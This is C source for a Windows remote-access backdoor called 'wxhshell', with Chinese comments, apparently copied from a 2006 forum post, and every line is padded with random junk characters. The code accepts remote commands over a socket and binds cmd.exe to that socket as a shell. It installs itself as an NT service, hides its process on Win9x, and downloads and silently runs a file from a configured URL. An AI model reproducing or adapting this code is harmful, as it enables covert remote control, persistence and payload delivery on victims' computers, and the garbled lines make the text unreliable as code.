      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1m"WrTen  
    break; Eqz|eS*6  
  } (JlPe)Q5  
  // 安装 z+Fu{<#(  
  case 'i': { eZ(ThA*2=t  
    if(Install()) .(q'7Q Z/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dV38-IfGkl  
    else 3{?X>6T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s2SV   
    break; m8{8r>6*  
    } N s0,Z#Z+  
  // 卸载 ,H+Y1N4W(  
  case 'r': { U[x$QG6m!  
    if(Uninstall()) F ><_gIT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mN]WjfII  
    else ]#f%Dku.m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ljZRz$y  
    break; 4E5;wH  
    } Rk g8  
  // 显示 wxhshell 所在路径 NJsaTBT  
  case 'p': { U&BCd$  
    char svExeFile[MAX_PATH]; _xCYh|DlQ|  
    strcpy(svExeFile,"\n\r"); aq_K,li #w  
      strcat(svExeFile,ExeFile); (@XQ]S}L  
        send(wsh,svExeFile,strlen(svExeFile),0); Tph^o^  
    break; ,b!D8{W"N  
    } V 9$T=[  
  // 重启 AE~a=e\x  
  case 'b': { i8e*9;4@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Fnak:R0  
    if(Boot(REBOOT)) pZ|{p{_j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3JQ7Cc>  
    else { xtP:Q9!N  
    closesocket(wsh); E Ou[X'gLr  
    ExitThread(0); ) dk|S\  
    } 9!X3Cv|+L  
    break; v%cCJ SO#  
    } /A,w{09G  
  // 关机 . KLEx]f.  
  case 'd': { rN|=cn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #)~u YQ  
    if(Boot(SHUTDOWN)) 63l& ihj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bKsjbYuo  
    else { a`xAk ^w+  
    closesocket(wsh); 8]`#ax 5  
    ExitThread(0); .c}+kHv  
    } RR[zvH} E  
    break; */IiL%g4u  
    } T}^3Re`i  
  // 获取shell ]$L5}pE3  
  case 's': { :5CyR3P  
    CmdShell(wsh); o-H?q!  
    closesocket(wsh); I m I$~q'  
    ExitThread(0); q{9 \hEeb  
    break; I?PqWG!O  
  } EB!ne)X  
  // 退出 2T+-[}*  
  case 'x': { e,}h^^"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i \NV<I  
    CloseIt(wsh); 1xS+r)_n@  
    break; :po6%}hn  
    } ./XX  
  // 离开 j8Z;}Ps  
  case 'q': { K\9CW%W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E} XmZxHV  
    closesocket(wsh); k/{WlLN  
    WSACleanup(); \7b, Mz!  
    exit(1); gC2}?nq*  
    break; 3E;@.jD  
        } 8Y`g$2SZ^8  
  } .kU^)H" l  
  } ~|S0E:*.  
(CIcM3|9C  
  // 提示信息 G-)e(u   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K0( S%v|,}  
} }#D=Rf?2\P  
  } ;dUKFdKH}  
}ZVond$y4  
  return; b)'CP Cu*  
} { DP9^hg  
WlQCPC  
// shell模块句柄 nC,QvV  
int CmdShell(SOCKET sock) Hj r'C?[  
{ rwXpB<@l@  
STARTUPINFO si; F\+AA  
ZeroMemory(&si,sizeof(si)); 7uc\AhOk6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W !j-/ql  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7mYcO3{5{  
PROCESS_INFORMATION ProcessInfo; +^(_S9CO  
char cmdline[]="cmd"; -(?/95 Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @-[}pZ/  
  return 0; 9#U]?^DJ@  
} qzNb\y9G  
xS_;p9{E  
// 自身启动模式 wJ2cAX;"  
int StartFromService(void) 6k;5T   
{ VnW6$W?g  
typedef struct ~{lb`M^]h  
{ :5/Ue,~ag  
  DWORD ExitStatus; EF:ec9 .  
  DWORD PebBaseAddress; d lfjx  
  DWORD AffinityMask; 5&Yt=)c\  
  DWORD BasePriority; zs]ubJC@  
  ULONG UniqueProcessId; sc+%v1Y#}  
  ULONG InheritedFromUniqueProcessId; J@/4CSCR]  
}   PROCESS_BASIC_INFORMATION; xwZ1Q,'C  
\0 h>!u  
PROCNTQSIP NtQueryInformationProcess; 18NnXqe-m  
")MHP~ ?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kbb!2`F!%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 95#]6*#[4!  
J8S$YRZ_  
  HANDLE             hProcess; ;&J>a8B$  
  PROCESS_BASIC_INFORMATION pbi; >xo<i8<Miv  
1 jB0gNe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dj (&"P  
  if(NULL == hInst ) return 0; -(TC'  
*Lrrl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4dFr~ {  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 79>x/jZka  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .Xp,|T  
ZPw4S2yw3.  
  if (!NtQueryInformationProcess) return 0; c\o_U9=n  
WMC^G2 n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3G4WKg.^  
  if(!hProcess) return 0; 1W >/4l  
h?dSn:Y\?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; heIys.p  
D+uo gRS61  
  CloseHandle(hProcess); v[uVAbfQ  
j;}-x1R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s:6K'*  
if(hProcess==NULL) return 0; jGo%Aase  
! N2uJ?t  
HMODULE hMod; ^}$t(t  
char procName[255]; >4wigc  
unsigned long cbNeeded; i/_rz.c~3  
f91]0B `C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >mA]2gV<a  
Y<W9LF  
  CloseHandle(hProcess); Bv~^keuj3t  
,X_3#!y  
if(strstr(procName,"services")) return 1; // 以服务启动 Te}gmt+#%  
16Ka>=G  
  return 0; // 注册表启动 Fu{VO~w  
} $rj:K)P  
2i6=g<   
// 主模块 -'miM ~kG[  
int StartWxhshell(LPSTR lpCmdLine) %_:L_VD@  
{ 19GF%+L ,  
  SOCKET wsl; r&R~a9+)  
BOOL val=TRUE; )R `d x  
  int port=0; 83vZRQw  
  struct sockaddr_in door; .CEC g*f  
v0) %S  
  if(wscfg.ws_autoins) Install(); E!}'cxb^  
g0biw?  
port=atoi(lpCmdLine); o0No"8DnjH  
l,Q`;v5|  
if(port<=0) port=wscfg.ws_port; 31^/9lb  
90+Vw`Gz=  
  WSADATA data; +arh/pd_I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  j7_,V?5z  
r+%3Y:dZE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    =AaF$R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JQbaD-  
  door.sin_family = AF_INET; +?6]Vu&|f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -]KgLgJ  
  door.sin_port = htons(port); 4Wz1O$*  
pSQ2wjps  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qdk!.A{   
closesocket(wsl); Vr1r2G2  
return 1; m %+'St|qr  
} qh>An;:u  
j^#\km B  
  if(listen(wsl,2) == INVALID_SOCKET) { +/$&P3  
closesocket(wsl); ^-?^iWQ G  
return 1; |+8rYIms`  
} uHquJQ4  
  Wxhshell(wsl); YYI0iM>  
  WSACleanup(); >,zU=I?9Y  
$Xo_8SX,  
return 0; k2->Z);X  
uYs45 G  
} (&*Bl\YoX  
81#x/&E]  
// 以NT服务方式启动 ,O.iOT0=;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _^{RtP#=  
{ n>JJ Xw,,  
DWORD   status = 0; hH>a{7V   
  DWORD   specificError = 0xfffffff; #QlxEs#%  
6E_~8oEl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]+pE1-p\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R7:u 8-dU1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~,s'-  
  serviceStatus.dwWin32ExitCode     = 0; _0naqa!JyH  
  serviceStatus.dwServiceSpecificExitCode = 0; aC9iNm8w  
  serviceStatus.dwCheckPoint       = 0; *cFGDQ !  
  serviceStatus.dwWaitHint       = 0; P)y2'JKL  
ql.[Uq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7C2Xy>d~  
  if (hServiceStatusHandle==0) return; |;V-;e*  
,>(X}Q  
status = GetLastError(); zuMz6#aCC8  
  if (status!=NO_ERROR) `TF3Ho\MC  
{ a>#$&&oQ0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; aTHf+;  
    serviceStatus.dwCheckPoint       = 0; .yTo)t  
    serviceStatus.dwWaitHint       = 0;  3k6Dbz  
    serviceStatus.dwWin32ExitCode     = status; ZiKO|U@/  
    serviceStatus.dwServiceSpecificExitCode = specificError; uHf1b?W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .I{u[ "  
    return; K ..Pn 17t  
  } l8M}82_  
'Eia=@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DfkGNBY  
  serviceStatus.dwCheckPoint       = 0; @CR<&^s5V  
  serviceStatus.dwWaitHint       = 0; #l) o<Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wk'(g_DP  
} D)L~vA/8b  
1A;,"8kBd  
// 处理NT服务事件,比如:启动、停止 XH0Vs.w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c;29GHs2  
{ #WDpiV7B  
switch(fdwControl) ;gaTSYVe  
{ A0.xPru1p  
case SERVICE_CONTROL_STOP: ={h^X0<s9  
  serviceStatus.dwWin32ExitCode = 0; CO ZfR~}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JeVbFZ8  
  serviceStatus.dwCheckPoint   = 0; wuCZz{c7  
  serviceStatus.dwWaitHint     = 0; PCDvEbpG  
  { 'q/C: Yo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w5-^Py  
  } ~ c~j  
  return; P-^-~/>n  
case SERVICE_CONTROL_PAUSE: Lo[;{A$u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /HqD4GDoug  
  break; .d#Hh&jj  
case SERVICE_CONTROL_CONTINUE: 92,@tNQQ}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (ux9"r^g;x  
  break; ga1b%5]v.  
case SERVICE_CONTROL_INTERROGATE: ZS3T1 <z  
  break; o+^e+ptc  
}; +N~{6*@uz,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ^LSD_R^N  
} \ X6y".|-  
zuJ` 704  
// 标准应用程序主函数 b5|l8<\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [m x}n+~  
{ - 3<&sTR  
/'v!{m  
// 获取操作系统版本 `x L@%  
OsIsNt=GetOsVer(); yYaYuf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )zP"Uuu  
Z>NA 9:  
  // 从命令行安装 F')E)tV  
  if(strpbrk(lpCmdLine,"iI")) Install(); \"yR[.Q?   
T sJ71  
  // 下载执行文件 /3"S_KE1@+  
if(wscfg.ws_downexe) { &7,/^ >">  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M-!#-l  
  WinExec(wscfg.ws_filenam,SW_HIDE); BNJG-b|g^  
} :w4H$+j  
,:81DA  
if(!OsIsNt) { $Ixd;`l*  
// 如果时win9x,隐藏进程并且设置为注册表启动 da8 R.1o  
HideProc(); ~Ty6]A  
StartWxhshell(lpCmdLine); hg+;!|ha  
} FFN.9[Ly  
else LXe'{W+bk  
  if(StartFromService()) zb9vUxN [  
  // 以服务方式启动 k'[\r>T  
  StartServiceCtrlDispatcher(DispatchTable); hB:+_[=Kj.  
else K^I$05idi  
  // 普通方式启动 ,b+Hy`t  
  StartWxhshell(lpCmdLine); iIo>]\Pw  
d7kv <YG  
return 0; h* /  
}
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只看该作者 1 发表于: 2006-10-10
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